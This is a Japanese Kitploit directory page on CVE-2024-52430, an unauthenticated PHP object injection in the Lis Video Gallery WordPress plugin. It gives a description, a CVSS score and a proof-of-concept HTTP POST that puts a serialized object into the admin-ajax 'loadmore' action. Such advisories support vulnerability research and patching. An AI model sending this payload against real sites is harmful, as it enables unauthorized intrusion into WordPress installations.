Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-52430 — Lis Video Gallery <= 0.2.1 - 未認証のPHPオブジェクトインジェクション | Kitploit
ツール/GitHubGitHub/randomrobbiebf/cve-2024-52430
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubrandomrobbiebf/cve-2024-52430

CVE-2024-52430

Lis Video Gallery <= 0.2.1 - 未認証のPHPオブジェクトインジェクション

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-52430

Lis Video Gallery <= 0.2.1 - 未認証のPHPオブジェクトインジェクション

説明

WordPress用Lis Video Galleryプラグインは、バージョン0.2.1以前において、信頼できない入力のデシリアライズを通じてPHPオブジェクトインジェクションに対して脆弱です。これにより、未認証の攻撃者がPHPオブジェクトを注入することが可能になります。脆弱なソフトウェアには既知のPOPチェーンは存在しません。ターゲットシステムにインストールされた追加のプラグインやテーマを介してPOPチェーンが存在する場合、攻撃者は任意のファイルを削除したり、機密データを取得したり、コードを実行したりする可能性があります。

root@kitploit:~
CVE: CVE-2024-52430
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: lis-video-gallery

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

action=loadmore&query=O%3a20%3a%22PHP_Object_Injection%22%3a0%3a%7b%7d&page=1
root@kitploit:~
PHP object injection has occurred.
ツールをダウンロード